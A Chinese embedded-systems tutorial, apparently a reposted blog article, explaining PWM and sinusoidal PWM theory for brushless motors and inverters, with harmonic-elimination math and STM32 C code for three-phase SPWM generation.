SPWM正弦波控制

目录

  • 前言
  • 一、PWM简介
  • 二、SPWM基本原理
    • 2.1 SPWM简介
    • 2.2 SPWM控制方法
      • 2.2.1 直接计算法
      • 2.2.2 自然采样法
      • 2.2.3 谐波法
    • 2.3 SPWM的注意点
      • 2.3.1 死区效应
      • 2.3.2 过调制
      • 2.3.3 转矩与转速控制
  • 三、SPWM实现
  • 四、补充


前言

  本文主要介绍SPWM原理及C语言单片机的实现


一、PWM简介

  PWM是Pulse Width Modulation的缩写,也称为脉冲宽度调制。PWM信号主要用于控制半导体通电/断电的占空比(ON/OFF时间的比率)。如下图所示
在这里插入图片描述

  其本质就是不停的开关电路状态,其中 T T T为周期,频率 f = 1 T f= \frac{1}{T} f=T1 T w T_w Tw为开启时间,占空比是指周期性方波中导通周期(幅度不为零的周期)的百分比
占空比( D ) = T w T 占空比(D)= \frac {T_w}{T} 占空比(D=TTw
  那PWM有什么用?以下图电路为例,假设的系统正常开启为 V i V_{i} Vi,输入为PWM,那么实际电压有
V o = D ∗ V i V_o = D * V_{i} Vo=DVi
在这里插入图片描述
  其输出电压是个有效值,如果系统负载有个LED灯,那么通过改变PWM的占空比就可以改变 V o V_o Vo,从而可以改变LED灯的亮度。那PWM在电机里有什么用呢?先看下图,我们使用PWM控制一个开关电路,忽略MOS的管压降有

  • 当PWM输出为1时,MOS管打开,负载电流 I = 5 / R 3 I=5/R3 I=5/R3
  • 当PWM输出为0时,MOS管关闭,负载电流为0
    在这里插入图片描述
      那么电路输入PWM信号的时候,有 I = D ∗ 5 / R 3 I=D*5/R3 I=D5/R3,从而实现了控制电流。如果负载R3为电机,是不是就可以通过控制PWM占空比,就可以控制电机工作电流,从而控制电机转速了,如下
    在这里插入图片描述
    注意:电力电子器件工作的开关频率越高,低次谐波越小,但开关器件的开关损耗也越大,带来散热问题同时也会使电能变换效率降低。高压大功率电力电子器件工作频率一般不高于1kHz

二、SPWM基本原理

2.1 SPWM简介

  SPWM的全称是Sinusoidal Pulse Width Modulation,又称正弦脉冲宽度调制。简单来说就是占空比按照正弦波来调制,此时电流就会成正弦波的形式
在这里插入图片描述
  上面我们发现PWM就可以调速,那么我们为什么还要使用SPWM,既增加代码复杂度,又增加运算量的事情呢?实际上对于有刷电机,PWM已经够用了,但是如果放在无刷电机、变频器、逆变器等系统里,我们就可能需要用到SPWM,甚至更复杂的控制算法。
在这里插入图片描述
  如上图所示一个控制系统,具体无刷电机的6步方波控制原理这边就不细讲了,可以参考链接:https://blog.csdn.net/weixin_44567668/article/details/133609017
在这里插入图片描述
  如上图所示,我们主要关心的是无刷电机换相的问题。从之前的方波控制,我们知道使用PWM的原因主要是防止电机转速过快,实际上在6步方波控制里使用的是PWM+PID的方式,此时如果我们测量单相上的电流大致会呈现如下图所示波形,你会发现电流波形成阶梯形式
在这里插入图片描述
  第首先一个问题是为什么会形成这样的波形?主要是无刷电机在旋转过程中经历下面几步:

1、开始在没有换相的时候由于PID的反馈几乎为0,此时电流达到最小值假设为 I 1 I_1 I1
2、当需要换相的时候,部分电能转化为动能,此时由于PID的滞后性,他开始补偿增大电流,达到电流最大值为 I 2 I_2 I2
3、当换相结束之后,没有了动能损耗,此时电流过大,PID又开始降低电流,最后又回到 I 1 I_1 I1

  所以这样的电流波形是因为换相的动能损耗,以及PID补偿的滞后性导致的。那么第二个问题是这样的波形在现实生活中会带来什么问题?主要会带来下面的问题

1、电机转速有波动,就是一会快一会慢
2、由于转速的波动,导致电机在运转过程中噪声比较大
3、由于PID调节的滞后性,导致电机在运转过程中功率增大,效率降低

  此时再回到SPWM调制思想,他是利用宽窄不等的方波来等效正弦波,保证宽窄不等的方波所对应的基波与所需要等效的正弦波的幅值、相位和频率均相等。所以你会发现SPWM相比于1.1小节的PWM在不同的占空比之间过度更加自然,加入SPWM控制后,电流波形会优化成如下所示
在这里插入图片描述

2.2 SPWM控制方法

  SPWM控制的关键是如何确定脉冲宽度,及SPWM波产生方法。

2.2.1 直接计算法

  • 方法:根据正弦波频率、幅值和半周期脉冲数,准确计算PWM波各脉冲宽度和间隔,据此控制逆变电路开关器件的通断,就可得到所需PWM波形
  • 缺点:本法较繁琐,当输出正弦波的频率、幅值或相位变化时,结果都要变化

  如按照等面积原则计算开关时刻
在这里插入图片描述
  对于不同极性有
在这里插入图片描述

2.2.2 自然采样法

  自然采样法就是取正弦波(调制波)与三角波(载波)的交点确定脉冲宽度,如下图所示
在这里插入图片描述
  其缺点是交点求解涉及到多次三角函数计算和迭代多次,计算量很大
在这里插入图片描述
  与之相类似的还有规则采样法:载波周期中点与正弦波(调制波)的交点所作的水平线与三角波(载波)的交点确定脉冲宽度,如下图所示,其得到的SPWM波与自然采样法接近,谐波会略微大一点
在这里插入图片描述
  如果是单相逆变器系统,如下所示
在这里插入图片描述
  有单极性调制法(单相)
在这里插入图片描述
  和双极性调制法(单相)
在这里插入图片描述
  对于三相系统有
在这里插入图片描述

2.2.3 谐波法

  1. 谐波的概念
      谐波法是计算法中一种较有代表性的方法,首先理解什么是谐波。根据傅里叶级数,任意周期信号可以表示为
    f ( t ) = a 0 + a 1 cos ⁡ ω t + a 1 sin ⁡ ω t + a 2 cos ⁡ 2 ω t + a 2 sin ⁡ 2 ω t + ⋯ = a 0 + ∑ n = 1 ∞ ( a n cos ⁡ n ω t + b n sin ⁡ n ω t ) \begin{split} f(t) &= a_0 + a_1\cos ωt + a_1\sin ωt + a_2\cos 2ωt + a_2\sin 2ωt + \cdots \\ &= a_0 + \sum_{n=1}^{\infty}(a_n\cos nωt + b_n \sin nωt) \end{split} f(t)=a0+a1cosωt+a1sinωt+a2cos2ωt+a2sin2ωt+=a0+n=1(ancost+bnsint)
      其中 a 0 a_0 a0就是 f ( t ) f(t) f(t)在一个周期内的平均值,即
    a 0 = 1 T ∫ 0 T f ( t ) d t a_0 = \frac{1}{T}\int_0^T f(t) \,{\rm d}t a0=T10Tf(t)dt
      经过三角变换可以变成
    f ( t ) = a 0 + ∑ n = 1 ∞ A n ( cos ⁡ n ω 0 t + φ n ) f(t) = a_0 + \sum_{n=1}^{\infty} A_n(\cos nω_0t + φ_n) f(t)=a0+n=1An(cosnω0t+φn)
      其中
    A n = a n 2 + b n 2 A_n = \sqrt{a_n^2 + b_n^2} An=an2+bn2
      余弦分量
    a n = A n cos ⁡ φ n a_n = A_n \cosφ_n an=Ancosφn
      正弦分量
    b n = − A n sin ⁡ φ n b_n = -A_n \sinφ_n bn=Ansinφn
      相位
    φ n = − arctan ⁡ b n a n φ_n = - \arctan \frac{b_n}{a_n} φn=arctananbn
      而谐波分量就是指
  • 当n=0时, F 0 = a 0 F_0=a_0 F0=a0称为直流分量
  • 当n=1时, F 1 = A 1 F_1=A_1 F1=A1称为基波分量
  • 当n=2时, F 2 = A 2 F_2=A_2 F2=A2称为二次谐波分量
    ……
  • 当n=k时, F k = A k F_k=A_k Fk=Ak称为k次谐波分量
  1. 谐波消去法
      谐波消去法是为减少谐波并简化控制,那么如何消去谐波呢?首先尽量使波形对称,为消除偶次谐波,使波形正负两半周期镜对称,即
    u ( ω t ) = − u ( ω t + π ) u(ωt) = -u(ωt + π) u(ωt)=u(ωt+π)
      其次,为消除谐波中余弦项,应使波形在正半周期内前后1/4周期以π/2为轴线对称
    u ( ω t ) = u ( π − ω t ) u(ωt) = u(π - ωt) u(ωt)=u(πωt)
      同时满足上两式的波形称为四分之一周期对称波形,用傅里叶级数表示为
    u ( ω t ) = ∑ n = 1 , 3 , 5 , ⋯ ∞ a n sin ⁡ n ω t u(ωt) = \sum_{n=1,3,5,\cdots}^{\infty} a_n \sin nωt u(ωt)=n=1,3,5,ansint
      式中
    a n = 4 π ∫ 0 π 2 u ( ω t ) sin ⁡ n ω t d ω t \begin{split} a_n &= \frac 4 π \int_0^{\frac π2 } u(ωt)\sin nωt \,{\rm d}ωt \end{split} an=π402πu(ωt)sintdωt
      假设一个系统可以独立控制 a 1 a_1 a1 a 2 a_2 a2 a 3 a_3 a3共3个时刻。则波形 a n a_n an
    a n = 4 π [ ∫ 0 α 1 U d 2 sin ⁡ n ω t d ω t + ∫ α 1 α 2 ( − U d 2 sin ⁡ n ω t ) d ω t + ∫ a 2 α 3 U d 2 sin ⁡ n ω t d ω t + ∫ α 3 π 2 ( − U d 2 sin ⁡ n ω t ) d ω t ] = 2 U d n π ( 1 − 2 cos ⁡ n α 1 + 2 cos ⁡ n α 2 − 2 cos ⁡ n α 3 ) \begin{split} a_n &= \frac 4 π \left [\int_0^{α_1 } \frac {U_d}{2}\sin nωt \,{\rm d}ωt +\int_{α_1}^{α_2} (-\frac {U_d}{2}\sin nωt) \,{\rm d}ωt + \int_{a_2}^{α_3} \frac {U_d}{2}\sin nωt \,{\rm d}ωt +\int_{α_3}^{\frac π 2} (-\frac {U_d}{2}\sin nωt) \,{\rm d}ωt\right]\\ & =\frac{2U_d}{nπ} (1-2\cos nα_1 +2\cos nα_2 - 2\cos nα_3) \end{split} an=π4[0α12Udsintdωt+α1α2(2Udsint)dωt+a2α32Udsintdωt+α32π(2Udsint)dωt]=2Ud(12cosnα1+2cosnα22cosnα3)
    在这里插入图片描述
      此时再令两个不同的 a n = 0 ( n = 1 , 3 , 5 , ⋯ ) a_n=0 (n= 1, 3, 5, \cdots) an=0(n=1,3,5,),就可建三个方程,求得a1、a2和a3,这边选择消去5次和7次谐波,得如下联立方程:
    a 1 = 2 U d π ( 1 − 2 cos ⁡ α 1 + 2 cos ⁡ α 2 − 2 cos ⁡ α 3 ) a 5 = 2 U d 5 π ( 1 − 2 cos ⁡ 5 α 1 + 2 cos ⁡ 5 α 2 − 2 cos ⁡ 5 α 3 ) = 0 a 7 = 2 U d 7 π ( 1 − 2 cos ⁡ 7 α 1 + 2 cos ⁡ 7 α 2 − 2 cos ⁡ 7 α 3 ) = 0 \begin{split} a_1 &= \frac{2U_d}{π} (1-2\cos α_1 +2\cos α_2 - 2\cos α_3) \\ a_5 &= \frac{2U_d}{5π} (1-2\cos 5α_1 +2\cos 5α_2 - 2\cos 5α_3) = 0 \\ a_7 &= \frac{2U_d}{7π} (1-2\cos 7α_1 +2\cos 7α_2 - 2\cos 7α_3) = 0 \\ \end{split} a1a5a7=π2Ud(12cosα1+2cosα22cosα3)=5π2Ud(12cos5α1+2cos5α22cos5α3)=0=7π2Ud(12cos7α1+2cos7α22cos7α3)=0
      给定 a 1 a_1 a1,解方程可得 α 1 α_1 α1 α 2 α_2 α2 α 3 α_3 α3 α 1 α_1 α1变, α 2 α_2 α2 α 3 α_3 α3也相应改变。一般在输出电压半周期内,器件通、断各k次,考虑到PWM波四分之一周期对称,k个开关时刻可控,除用一个自由度控制基波幅值外,可消去k-1个频率的特定谐波k的取值越大,开关时刻的计算越复杂

  2. 谐波电流法
      我们假设双极性PWM逆变器系统,其直流环节电压为 V D V_D VD,基波角频率为 ω 0 ω_0 ω0。在一个 2 π 2π 2π周期内,其PWM波形开关点相对应的角度分别为 α 1 , α 2 , ⋯ , α M , π − α M , ⋯ , π − α 2 , π − α 1 , π , π + α 1 , π + α 2 , ⋯ , π + α M , 2 π − α M , ⋯ , 2 π − α 1 , 2 π α_1,α_2,\cdots,α_M,π-α_M,\cdots,π-α_2,π-α_1,π,π+α_1,π+α_2,\cdots,π+α_M,2π-α_M,\cdots,2π-α_1,2π α1,α2,,αM,παM,,πα2,πα1,π,π+α1,π+α2,,π+αM,2παM,,2πα1,2π,开关角度满足
    0 ⩽ α 1 ⩽ α 2 ⩽ ⋯ ⩽ α M ⩽ π 2 0 \leqslant α_1 \leqslant α_2 \leqslant \cdots \leqslant α_M \leqslant \frac π 2 0α1α2αM2π
    在这里插入图片描述
      然后对 a n a_n an进行变换得到
    a n m = 4 π ∫ 0 π 2 V D 2 sin ⁡ n ω t d ω t = 2 π ∫ 0 π V D 2 sin ⁡ n ω t d ω t = 2 π [ ∫ 0 α 1 V D 2 sin ⁡ n ω t d ω t − ∫ α 1 α 2 V D 2 sin ⁡ n ω t d ω t + ∫ a 2 α 3 V D 2 sin ⁡ n ω t d ω t − ⋯ − ∫ α M π − α M V D 2 sin ⁡ n ω t d ω t + ⋯ − ∫ π − α 2 π − α 1 V D 2 sin ⁡ n ω t d ω t + ∫ π − α 1 π V D 2 sin ⁡ n ω t d ω t \begin{split} a_{nm} = &\frac 4 π \int_0^{\frac π2 } \frac {V_D}{2}\sin nωt \,{\rm d}ωt \\ = &\frac 2 π \int_0^{π} \frac {V_D}{2}\sin nωt \,{\rm d}ωt \\ = &\frac 2 π [\int_0^{α_1 } \frac {V_D}{2}\sin nωt \,{\rm d}ωt \\ &-\int_{α_1}^{α_2} \frac {V_D}{2}\sin nωt \,{\rm d}ωt \\ &+ \int_{a_2}^{α_3} \frac {V_D}{2}\sin nωt \,{\rm d}ωt - \cdots \\ &-\int_{α_M}^{π - α_M} \frac {V_D}{2}\sin nωt \,{\rm d}ωt + \cdots\\ &-\int_{π- α_2}^{π- α_1} \frac {V_D}{2}\sin nωt \,{\rm d}ωt \\ &+ \int_{π-α_1}^{π} \frac {V_D}{2}\sin nωt \,{\rm d}ωt \\ \end{split} anm===π402π2VDsintdωtπ20π2VDsintdωtπ2[0α12VDsintdωtα1α22VDsintdωt+a2α32VDsintdωtαMπαM2VDsintdωt+πα2πα12VDsintdωt+πα1π2VDsintdωt
      整理一下得到
    a n m = S ( − 1 ) M 2 V D n π [ 1 − 2 ∑ i = 1 M ( − 1 ) i + 1 cos ⁡ n ω 0 t i ] a_{nm} = S(-1)^M\frac{2V_D}{nπ}\left[1- 2\sum_{i=1}^{M}(-1)^{i+1} \cos nω_0t_i \right] anm=S(1)M2VD[12i=1M(1)i+1cosnω0ti]
      式中 , S 值采用 + 1,称为正调制;S 值采用 - 1,称为负调制。开关点的 α i α_i αi角等于 ω 0 t i ω_0 t_i ω0ti 。假定谐波电流仅仅由漏抗决定,且认为是线性的,谐波电流的均方根值表达为:
    I = 1 2 ∑ n = 3 ∞ ( a n m n ω 0 L ) 2 = 1 ω 0 L 1 2 ∑ n = 3 ∞ ( a n m n ) 2 \begin{split} I &= \sqrt{\frac 12\sum_{n=3}^{\infty}(\frac {a_{nm}}{nω_0L})^2} \\ &= \frac 1 {ω_0L}\sqrt{\frac 12\sum_{n=3}^{\infty}(\frac {a_{nm}}{n})^2} \end{split} I=21n=3(nω0Lanm)2 =ω0L121n=3(nanm)2
      式中:

  • a n m a_{nm} anm:输出电压n次谐波的幅值
  • L:电动机的漏抗
  • ω 0 ω_0 ω0:基波角频率

  对于三相系统,线电压 u A B u_{AB} uAB与相电压 u A u_A uA u B u_B uB的关系如下 :
u A B ( t ) = u A ( ω 0 t ) − u A ( ω 0 t − 120 ° ) = ∑ n = 1 ∞ 2 a n m sin ⁡ 60 ° ⋅ n ⋅ cos ⁡ n ( ω 0 t − 60 ° ) \begin{split} u_{AB}(t) &= u_A(ω_0t) - u_A(ω_0t - 120°) \\ & = \sum_{n=1}^{\infty}2a_{nm}\sin60° ⋅ n⋅\cos n(ω_0t - 60°) \end{split} uAB(t)=uA(ω0t)uA(ω0t120°)=n=12anmsin60°ncosn(ω0t60°)
  线电压 u A B u_{AB} uAB的 n 次谐波幅值 a A B n m a_{ABnm} aABnm为:
a A B n m = 2 n a n m sin ⁡ 60 ° a_{ABnm} = 2n a_{nm}\sin60° aABnm=2nanmsin60°
  流过电动机的 n 次谐波电流 I n I_n In表达为:
I n = a A B n m 6 n ω 0 L I_n = \frac {a_{ABnm}}{\sqrt{6}nω_0L} In=6 nω0LaABnm
  三相系统的谐波电流均方根值 I δ I_δ Iδ
I δ = ∑ n = 3 ∞ I n 2 = 1 6 ω 0 L ∑ n = 3 ∞ ( a A B n m n ) 2 I_δ = \sqrt{\sum_{n=3}^{\infty}I_n^2} = \frac 1 {\sqrt{6}ω_0L}\sqrt{\sum_{n=3}^{\infty}(\frac {a_{ABnm}}n)^2} Iδ=n=3In2 =6 ω0L1n=3(naABnm)2
  对所给出的每一对M和 a A B 1 m a_{AB1m} aAB1m ,以 I δ = min ⁡ I_δ = \min Iδ=min为条件 ,寻求一组 α 1 , α 2 , α 3 , α 4 , ⋯ , α M α_1,α_2 ,α_3 ,α_4,\cdots,α_M α1,α2,α3,α4,,αM的值,从而获得在谐波电流均方根值最小的性能指标下的开关模式。

2.3 SPWM的注意点

2.3.1 死区效应

  实际上方波控制也要关注死区效应,所谓的死区就是同一相上下两臂的驱动信号互补,为防止上下臂直通而造成短路(击穿MOS),留一小段上下臂都施加关断信号的死区时间,如下图 T D T_D TD
在这里插入图片描述

2.3.2 过调制

  首先了解下面几个参数

  • 调制频率 f s f_s fs:这里就是正弦波的频率,即电机所需电流的频率
  • 载波频率 f c f_c fc:载波就是原来PWM波的频率,即下图的三角波频率,也就是MOS开关频率
  • 载波比 m f m_f mf:载波频率 f c f_c fc与调制频率 f s f_s fs之比,即 m f = f c f s m_f=\frac{f_c}{f_s} mf=fsfc
  • 电压调制比 M M M:调制波幅值 U m U_m Um与载波复制 U c U_c Uc之比,即 M = U m U c M = \frac{U_m}{U_c} M=UcUm

  所谓的过调制就是指,当电压调制比 M M M大于1时,称为过调制,此时调制信号幅值有一部分不受控制
在这里插入图片描述
  当然调制比太小会导致电压利用率低的问题正弦波调制的三相PWM逆变电路,调制度 M M M为1时,输出线电压的基波幅值为0.866 U c U_c Uc,直流电压利用率为0.866,实际还更低。
在这里插入图片描述

2.3.3 转矩与转速控制

在这里插入图片描述

  • 转矩控制:SPMW的频率不变,增大调制比
  • 速度控制:调制比不变,改变SPWM频率

三、SPWM实现

  这里以STM32为例,首先看一下STM32如何生成PWM
在这里插入图片描述
  如上图所示,实际上就是计数值CNT大于捕获比较值CCR时,输出PWM的高电平,而自动重装寄存器ARR则是PWM周期,所以我们只需要修改CCR的值就可以生成正弦波,那CCR的值怎么算呢?此时我们先看一下正弦函数的表达式:
f ( t ) = sin ⁡ ( ω t ) f(t) = \sin (ωt) f(t)=sin(ωt)
  根据中学知识,我们知道其周期 T = 2 π / ω T=2π/ω T=2π/ω,假设三角波的周期为 T 2 T_2 T2(由定时器的配置决定,如时钟、分频系数、ARR的值),那么一个正弦波周期内三角波发生的次数为 n = T / T 2 n=T/T_2 n=T/T2,将n加入到正弦函数有
f ( t ) = sin ⁡ ( 2 π t / n ) f(t) = \sin (2πt/n) f(t)=sin(2πt/n)

  再代入调制比为M,如果以规则采样法为例,则第一个PWM脉宽的CCR的值为
N C C R 1 = N A R R × M × f ( 1 ) N_{CCR1} = N_{ARR}×M×f(1) NCCR1=NARR×M×f(1)
  以此类推,最后一个为
N C C R n = N A R R × M × f ( n ) N_{CCRn} = N_{ARR}×M×f(n) NCCRn=NARR×M×f(n)
  以下图为例,半个正弦波周期的n为20,那么整个周期的n为40,假设调制比为0.8,ARR为100,则第一个CCR的值为 N C C R 1 = 100 × 0.8 × sin ⁡ ( 2 π / 40 ) N_{CCR1} = 100×0.8×\sin(2π/40) NCCR1=100×0.8×sin(2π/40)
在这里插入图片描述
  为了减小直接计算法的计算量,在软件上可以配合查表法,查表法本质就是用空间换取时间,即将占空比提前算好放进数组,当然也可以选择取点工具

int const talab[250]=
{100 , 102 , 108 , 116 , 126 , 140 , 154 , 172 , 194 , 216 ,242 , 270 , 300 , 334 , 370 , 408 , 448 , 490 , 536 , 582 ,632 , 684 , 738 , 794 , 854 , 914 , 976 ,1040 ,1108 ,1176 ,
1246 ,1320 ,1394 ,1470 ,1548 ,1626 ,1708 ,1790 ,1874 ,1960 ,
2046 ,2136 ,2224 ,2316 ,2408 ,2502 ,2596 ,2690 ,2786 ,2884 ,
2982 ,3080 ,3180 ,3280 ,3382 ,3482 ,3584 ,3686 ,3788 ,3892 ,
3994 ,4096 ,4200 ,4304 ,4406 ,4508 ,4612 ,4714 ,4816 ,4918 ,
5018 ,5120 ,5220 ,5320 ,5418 ,5516 ,5614 ,5710 ,5804 ,5898 ,
5992 ,6084 ,6176 ,6264 ,6354 ,6440 ,6526 ,6610 ,6692 ,6774 ,
6852 ,6930 ,7006 ,7080 ,7154 ,7224 ,7292 ,7360 ,7424 ,7486 ,
7546 ,7606 ,7662 ,7716 ,7768 ,7818 ,7864 ,7910 ,7952 ,7992 ,
8030 ,8066 ,8100 ,8130 ,8158 ,8184 ,8206 ,8228 ,8246 ,8260 ,
8274 ,8284 ,8292 ,8298 ,8300 ,8300 ,8298 ,8292 ,8284 ,8274 ,
8260 ,8246 ,8228 ,8206 ,8184 ,8158 ,8130 ,8100 ,8066 ,8030 ,
7992 ,7952 ,7910 ,7864 ,7818 ,7768 ,7716 ,7662 ,7606 ,7546 ,
7486 ,7424 ,7360 ,7292 ,7224 ,7154 ,7080 ,7006 ,6930 ,6852 ,
6774 ,6692 ,6610 ,6526 ,6440 ,6354 ,6264 ,6176 ,6084 ,5992 ,
5898 ,5804 ,5710 ,5614 ,5516 ,5418 ,5320 ,5220 ,5120 ,5018 ,
4918 ,4816 ,4714 ,4612 ,4508 ,4406 ,4304 ,4200 ,4096 ,3994 ,
3892 ,3788 ,3686 ,3584 ,3482 ,3382 ,3280 ,3180 ,3080 ,2982 ,
2884 ,2786 ,2690 ,2596 ,2502 ,2408 ,2316 ,2224 ,2136 ,2046 ,
1960 ,1874 ,1790 ,1708 ,1626 ,1548 ,1470 ,1394 ,1320 ,1246 ,
1176 ,1108 ,1040 , 976 , 914 , 854 , 794 , 738 , 684 , 632 ,582 , 536 , 490 , 448 , 408 , 370 , 334 , 300 , 270 , 242 ,216 , 194 , 172 , 154 , 140 , 126 , 116 , 108 , 102 , 100 
};	uint16_t Counter_sine1 = 0;		//A相
uint16_t Counter_sine2 = 83;	//滞后A相120度
uint16_t Counter_sine3 = 166;	//超前A相120度void TIM1_GPIO_Config(void)
{GPIO_InitTypeDef GPIO_InitStructure;RCC_APB2PeriphClockCmd(RCC_APB2Periph_TIM1, ENABLE);RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOA|RCC_APB2Periph_GPIOB, ENABLE);GPIO_InitStructure.GPIO_Pin =  GPIO_Pin_8 | GPIO_Pin_9| GPIO_Pin_10;  GPIO_InitStructure.GPIO_Mode = GPIO_Mode_AF_PP;       //复用推挽输出              GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz;GPIO_Init(GPIOA, &GPIO_InitStructure);GPIO_InitStructure.GPIO_Pin =  GPIO_Pin_13| GPIO_Pin_14 | GPIO_Pin_15;  GPIO_Init(GPIOB, &GPIO_InitStructure);                                              	
}#define CKTIM	    ((u32)72000000uL)  //主频
#define PWM_PRSC    ((u8)0)            //TIM1分频系数
#define PWM_FREQ    ((u16) 10000)      //PWM频率(Hz)
#define PWM_PERIOD  ((u16) (CKTIM / (u32)(2 * PWM_FREQ *(PWM_PRSC+1))))
#define MODULAT	    (float)0.7           //调制度void TIM1_Mode_Config(void)
{TIM_TimeBaseInitTypeDef  TIM_TimeBaseStructure;TIM_OCInitTypeDef  TIM_OCInitStructure;TIM_BDTRInitTypeDef TIM1_BDTRInitStructure;NVIC_InitTypeDef NVIC_InitStructure;TIM_TimeBaseStructure.TIM_Period = PWM_PERIOD;                 //计数周期TIM_TimeBaseStructure.TIM_Prescaler = PWM_PRSC;                //分频系数TIM_TimeBaseStructure.TIM_ClockDivision = TIM_CKD_DIV2;       TIM_TimeBaseStructure.TIM_CounterMode = TIM_CounterMode_CenterAligned1; TIM_TimeBaseInit(TIM1, &TIM_TimeBaseStructure);TIM_OCInitStructure.TIM_OCMode = TIM_OCMode_PWM1;              //配置为PWM模式1TIM_OCInitStructure.TIM_OutputState = TIM_OutputState_Enable;  //使能CHx的PWM输出TIM_OCInitStructure.TIM_OutputNState = TIM_OutputNState_Enable;//互补输出使能,使能CHxN的PWM输出TIM_OCInitStructure.TIM_Pulse = 0;                          TIM_OCInitStructure.TIM_OCPolarity = TIM_OCPolarity_High;   TIM_OCInitStructure.TIM_OCNPolarity = TIM_OCNPolarity_High;   TIM_OCInitStructure.TIM_OCIdleState = TIM_OCIdleState_Reset;  TIM_OCInitStructure.TIM_OCNIdleState = TIM_OCNIdleState_Set;  TIM_OC1Init(TIM1, &TIM_OCInitStructure);                       //配置CH1TIM_OCInitStructure.TIM_Pulse = 0;                         TIM_OC2Init(TIM1, &TIM_OCInitStructure);                       //配置CH2TIM_OCInitStructure.TIM_Pulse = 0;                         TIM_OC3Init(TIM1, &TIM_OCInitStructure);                       //配置CH3//死区时间TIM1_BDTRInitStructure.TIM_OSSRState = TIM_OSSRState_Enable; TIM1_BDTRInitStructure.TIM_OSSIState = TIM_OSSIState_Enable;TIM1_BDTRInitStructure.TIM_LOCKLevel = TIM_LOCKLevel_1;   TIM1_BDTRInitStructure.TIM_DeadTime = 360;              //设置死区时间TIM1_BDTRInitStructure.TIM_Break = TIM_Break_Disable;	    TIM1_BDTRInitStructure.TIM_BreakPolarity = TIM_BreakPolarity_High;         TIM1_BDTRInitStructure.TIM_AutomaticOutput = TIM_AutomaticOutput_Disable;  TIM_BDTRConfig(TIM1, &TIM1_BDTRInitStructure);NVIC_PriorityGroupConfig(NVIC_PriorityGroup_2);	          //4个抢先级、4个子优先级	NVIC_InitStructure.NVIC_IRQChannel = TIM1_CC_IRQn;NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority = 0;NVIC_InitStructure.NVIC_IRQChannelSubPriority = 0;NVIC_InitStructure.NVIC_IRQChannelCmd = ENABLE;NVIC_Init(&NVIC_InitStructure);TIM_ITConfig(TIM1,TIM_IT_CC1|TIM_IT_CC2|TIM_IT_CC3,ENABLE);  //使能中断TIM_CtrlPWMOutputs(TIM1, ENABLE);                         //PWM输出使能    TIM_Cmd(TIM1, ENABLE);                                    //使能TIM1
}
void TIM1_PWM_Init(void)
{TIM1_GPIO_Config();TIM1_Mode_Config();
}//定时器1中断服务函数
void TIM1_CC_IRQHandler(void) 
{	if(Counter_sine1>=250){Counter_sine1 = 0;}if(Counter_sine2>=250){Counter_sine2 = 0;}if(Counter_sine3>=250){Counter_sine3 = 0;}//CCR1	if (TIM_GetITStatus(TIM1, TIM_IT_CC1)!=RESET){TIM_SetCompare1(TIM1,(uint32_t)(talab[Counter_sine1])*MODULAT);	//A相	Counter_sine1++;TIM_ClearITPendingBit(TIM1 , TIM_IT_CC1);}//CCR2if (TIM_GetITStatus(TIM1, TIM_IT_CC2) !=RESET){TIM_SetCompare2(TIM1,((uint32_t)talab[Counter_sine2])*MODULAT);	//B相Counter_sine2++;TIM_ClearITPendingBit(TIM1 , TIM_IT_CC2);  	}//CCR3	if (TIM_GetITStatus(TIM1, TIM_IT_CC3) !=RESET){TIM_SetCompare3(TIM1,(uint32_t)(talab[Counter_sine3])*MODULAT);	//C相Counter_sine3++;TIM_ClearITPendingBit(TIM1 , TIM_IT_CC3);  	}
}

  当然也可以使用STM32的DSP库,然后在定时器中断计算正弦值,具体操作如下:

//定义角频率
spwm_struct.w = 2*pi*50;						//50HZ正弦波//确定每次进入定时器中断的时间间隔
spwm_struct.T = 0.00005;						//20K的定时器中断,每次进入间隔50us//更新正弦值,注意这里是用了dsp库的sin(实测F446 180M主频下运算只要400ns,而math.h的sin要算16us)
spwm_struct.uref = A*arm_sin_f32(spwm_struct.WT);			//A是幅值//在定时器中断里更新角度(相位)
spwm_struct.WT += spwm_struct.w * spwm_struct.T;
if(spwm_struct.WT >= 2 * pi) spwm_struct.WT = 0;			//WT在0到2pi变化 

  实现如下

//定义spwm结构体
typedef struct
{float w;					//角频率float fre;					//频率float wt;					//相角float mod_dep;				//调制度short ch1_ccr;				//ccr1short ch2_ccr;		float jibo;float T;					//每次进入定时器中断的时间
}spwm_t;spwm_t spwm_struct;//*参数初始化*/
void spwm_init()
{spwm_struct.w = 2*pi*50;		//2*pi*fspwm_struct.wt = 0;spwm_struct.fre = 50;spwm_struct.uref = 1;spwm_struct.rqd_flag = 1;spwm_struct.mod_dep = 0.5;		//调制度spwm_struct.T = 0.00005;/*2104使能*/HAL_GPIO_WritePin(GPIOB,GPIO_PIN_5,GPIO_PIN_SET);/*PWM输出开启*/HAL_TIM_Base_Start_IT(&htim1);HAL_TIM_PWM_Start(&htim1, TIM_CHANNEL_1);HAL_TIMEx_PWMN_Start(&htim1, TIM_CHANNEL_1);
}//单极性倍频调制
void unimp_modulation(float insignal, unsigned short cnt, spwm_t *ccr)
{ccr->ch1_ccr = (1+insignal)/2 * (cnt-1);ccr->ch2_ccr = (1-insignal)/2 * (cnt-1);
}//双极性调制
void bipolar_modulation(float insignal, unsigned short cnt, spwm_t *ccr)
{insignal = (insignal+1) / 2;ccr->ch1_ccr = insignal * (cnt - 1);
}//定时器中断
void HAL_TIM_PeriodElapsedCallback(TIM_HandleTypeDef *htim)
{if(htim->Instance==TIM1){spwm_struct.jibo = spwm_struct.mod_dep*arm_cos_f32(spwm_struct.wt);//更新正弦波数据bipolar_modulation(spwm_struct.jibo, tim_cnt, &spwm_struct);TIM1->CCR1 = spwm_struct.ch1_ccr;spwm_struct.wt += spwm_struct.w * spwm_struct.T;//更新相角wtif(spwm_struct.wt>=2*pi)	spwm_struct.wt=0;//计满2π后归零,防止溢出}
}

四、补充

  关于无刷电机相关介绍见下链接
https://blog.csdn.net/weixin_44567668/article/details/133609017

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1544195.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

Vue 响应式监听 Watch 最佳实践

